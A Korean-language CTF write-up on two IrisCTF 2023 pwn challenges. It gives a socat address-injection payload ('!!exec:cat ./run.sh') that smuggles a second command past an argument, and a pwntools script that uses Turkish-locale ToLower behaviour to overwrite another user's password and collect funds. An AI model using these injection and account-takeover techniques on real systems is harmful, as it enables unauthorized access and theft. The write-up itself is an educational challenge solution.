2023 IrisCTF) Write-up #2 (PWN/ baby?socat, Michael Bank)

2023. 1. 12. 19:47CTF

목차

01) PWN) babyseek , ret2libm

02) PWN) baby?socat , Michael Bank

03) Misc) Name that song 1, 2 , Host Issues

04) Foren) babyforens


공통) 브루트포싱 방지용 문제 자동화

 

익스플로잇코드에 생략된 브루트포싱 방지 문제 해결 코드는 첫 글 맨 앞에 작성하였다.

2023.01.12 - [CTF] - 2023 IrisCTF) Write-up #1 (babyseek, ret2libm)

 

2023 IrisCTF) Write-up #1 (babyseek, ret2libm)

2023.01.07~08 48시간동안 진행된 IrisCTF. RealWorldCTF와 동시간대에 개최되어 큰 기대 없이 참가하였지만 문제 밸런스가 좋았고, 얻어갈 것이 있는 문제들도 많아 즐겁게 참여하였다. CTF 순위는 최종 24

mi-sutga-ru.tistory.com


 

PWN) baby?socat (478 pts)

- run.sh

#!/bin/bash
echo -n "Give me your command: "
read -e -r input
input="exec:./chal ls $input"

FLAG="fakeflg{REDACTED}" socat - "$input" 2>&0

- chal.c

#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    if(argc < 2) return -1;
    if(setenv("FLAG", "NO!", 1) != 0) return -1;
    execvp(argv[1], argv+1);
    return 0;
}

 

문제에서 제공한 run.sh에서

FLAG="fakeflg{REDACTED}" socat - "$input" 2>&0

를 실행시키는 것을 확인할 수 있다.

입력한 명령어를 소캣 명령어로 실행시킬 수 있으나 input변수가 “ “로 고정되어있고 inputexec:./chal ls $input으로 고정되어있기 때문에 기존에 사용하는 command injection 트리거인 ;를 사용할 수 없고, ls의 옵션을 설정하고 목록을 읽어올 디렉토리를 입력할 수 있다.

 

이를 우회하기 위해 다음과 같은 방법을 사용하였다.

소캣 명령어 실행시 몇가지 특수문자로 명령어를 파싱한다.

, cq(options)을 연결하고 !! dq(device/address)를 연결할 수 있다.

-> 여러 개의 optiondevice/address명령어 입력 가능

-> $input에 입력하여 ls외 다른 option이나 다른 device/address 명령어도 실행 가능

-> address type에 속하는 exec를 다시 사용할 수 있다.

!!exec:/bin/sh를 입력하였을 때 sh 명령어를 입력할 수 없었기 때문에 !!exec:cat ./run.sh로 파일을 읽어 서버의 run.sh에만 적혀있는 flag를 알아낼 수 있었다.

 

다음과 같은 익스플로잇 코드를 작성하였다.

 

- ex.py

#!/usr/bin/python3
# MisutgaRU

from pwn import *
import os

s = remote("seek.chal.irisc.tf", 10000)
#s = process("./run.sh")

s.sendline(b"!!exec:cat ./run.sh")
s.interactive()

플래그 획득

 

irisctf{they_even_fixed_it_for_unbalanced_double_quotes}

+)

https://linux.die.net/man/1/socat

 

socat(1): Multipurpose relay - Linux man page

socat(1) - Linux man page Name socat - Multipurpose relay (SOcket CAT) Synopsis CWsocat [options] <address> <address> CWsocat -V CWsocat -h[h[h]] | -?[?[?]] CWfilan CWprocan Description Socat is a command line based utility that establishes two bidirection

linux.die.net

풀이는 위 글을 참고하였다.

Address Specifications

Two single addresses can be combined with dq!!dq to form a duql type address for on channel 이라는 문장을 통해 두가지 소켓 어드레스 명령어가 !!로 결합된다는 것을 확인할 수 있다.

 

제작자의 라이트업을 통해 이 풀이가 unintended였음을 알게되었다.

https://github.com/Seraphin-/ctf/blob/master/irisctf2023/socat.md

 

GitHub - Seraphin-/ctf

Contribute to Seraphin-/ctf development by creating an account on GitHub.

github.com

 

제작자 라이트업에 따르면 소켓 명령어의 구문을 분석하는 코드 nestlex.c 에서 따옴표를 처리할 때 에러가 발생하는데 

큰따옴표에 대한 오류는 수정되었지만 작은 따옴표에 대한 오류가 수정되지 않았으므로 닫히지 않은 작은 따옴표를 입력함으로써 이 문제를 해결할 수 있다고 한다.

Address Type / exec

내가 참고한 글에서 비슷한 내용을 찾아볼 수 있었는데, 위에 캡쳐한 내용이 이 경우에 적용되는 것인지는 확실하지 않다.

구문의 작은 따옴표에 대한 에러 처리가 제대로 되지 않았기 때문에 구문 처리기에 의해 옵션인 ls가 argv[0]인 FLAG=irisctf{they_even_fixed_it_for_unbalanced_double_quotes} 를 ls의 인자로 채택하는 것으로 예상된다.


 

PWN) Michael Bank (494 pts)

Michael Bank

- Program.cs (풀이에 필요한 코드 일부분만 첨부)

static void CreateAccount()
        {
            Console.Write("Type username: ");
            var username = Console.ReadLine()!;
            Console.Write("Type password: ");
            var password = Console.ReadLine()!;

            foreach (var user in users)
            {
                if (user.ToLower() == username.ToLower())
                {
                    Console.WriteLine("User already exists in database!");
                    return;
                }
            }

            if (users.Count > 10000)
            {
                Console.WriteLine("Database has too many users! Check back later.");
                return;
            }

            users.Add(username.ToLower());
            userPasswords[username] = password;
        }
        
static void ChangeCurrency()
        {
            while (true)
            {
                Console.Write("Type language code to use its currency: ");
                var localeStr = Console.ReadLine()!;
                try
                {
                    var cultureInf = new CultureInfo(localeStr);
                    CultureInfo.CurrentCulture = cultureInf;
                    var curSymbol = GetCurrencySymbol();
                    if (!curConv.ContainsKey(curSymbol))
                    {
                        Console.WriteLine("Currency not in database.");
                        continue;
                    }
                    Console.WriteLine("New currency: " + curSymbol);
                    return;
                }
                catch
                {
                    Console.WriteLine("Not a valid code.");
                }
            }
        }

static void CheckBalance()
        {
            if (loggedInUser == "anon")
            {
                Console.WriteLine("Not logged in.");
                return;
            }

            if (!userBalances.ContainsKey(loggedInUser))
            {
                userBalances[loggedInUser] = 5.0f;
            }
            else if (userBalances[loggedInUser] > 1000000)
            {
                Console.WriteLine("Wow, you have a million dollars! Here's the flag!");
                Console.WriteLine(File.ReadAllText("flag.txt"));
                return;
            }

            var balance = userBalances[loggedInUser];
            var convertedStr = GetMoneyInConvertedCurrency(balance);
            Console.WriteLine("Current balance: " + convertedStr);
        }

Ctf 가 끝난 후 라이트업을 보고 풀이하였다.

제작자의 코멘트에 따르면 언어별로 ToLower가 다르게 동작하는 점을 이용하여 문제를 풀도록 의도하였다고 한다.

검색해보니 쉽게 관련 자료를 찾을 수 있었다.

https://lunchballer.com/archives/1326

 

[Unity-C#] 특정 국가에서 크래시가 난다면 CultureInfo를 확인하자

Unity 2019부터 .NET 3.5는 더 이상 지원되지 않고, .NET Standard 2.0과 .NET 4.X가 지원된다. .NET Standard 2.0/.NET 4.X은 Unity 2017까지 사용하던 .NET 2.0/.NET 2.0 Subset과 같지 않다. 그래서 글로벌 게임을 서비스 중

lunchballer.com

 

C#에서 CultureInfo 를 통해 사용자의 언어를 변경할 수 있는데 터키의 대문자 I와 소문자 i가 다른 문자로 처리되는 점을 이용하여 터키로 언어 변경 후(tr-TR) mIchael로 계정을 생성하면 toLower을 거쳐 mıchael(다른 글자)로 인식된다. 실제로는 michael계정의 비밀번호가 뒤덮히므로 내가 설정한 비밀번호로 로그인이 가능하다.

계정생성이 10000개까지 가능하고 계정 당 5 USD 씩 제공한다는 점을 이용하여 패스워드가 오픈된 bob의 계좌 전액과 새로 생성한 계정의 5 USD씩을 michael에게 송금하고 로그인하여 플래그를 획득할 수 있다.

 

- chal.py

#!/usr/bin/python3
# MisutgaRU

from pwn import *
import os

s = remote("michaelbank.chal.irisc.tf", 10003)
#s = process("./chal")

def menu(index):
    s.sendlineafter(b"7. Exit\n", (str(index).encode()))

def create(username, password):
    menu(1)
    s.sendlineafter(b": ", username)
    s.sendlineafter(b": ", password)

def login(username, password):
    menu(2)
    s.sendlineafter(b": ", username)
    s.sendlineafter(b": ", password)

def change(lan_code):
    menu(5)
    s.sendlineafter(b": ", lan_code)

def send(money):
    menu(6)
    s.sendlineafter(b": ", str(money).encode())
    s.sendlineafter(b": ", b"michael")

menu(4)
s.recvuntil(b"\n")
print(s.recvuntil(b"\n").decode())
create(b"a", b"a");login(b"a", b"a");send(5)
create(b"b", b"b");login(b"b", b"b");send(5)
create(b"c", b"c");login(b"c", b"c");send(5)
login(b"bob", b"bob");send(25)
change(b"tr-TR")
create(b"mIchael", b"1234")
change(b"en-US")
login(b"michael", b"1234")
menu(4)
s.recvuntil(b"\n")
print(s.recvuntil(b"\n").decode())
menu(3)

s.interactive()

플래그 획득

irisctf{I_never_wanna_deal_with_i's_again}

 


Michael bank문제의 경우 생각보다 관련 자료가 쉽게 검색되었다.

조금 더 시간투자를 해서 검색했다면 해결할 수 있었을 것 같아 아쉬움이 남았다.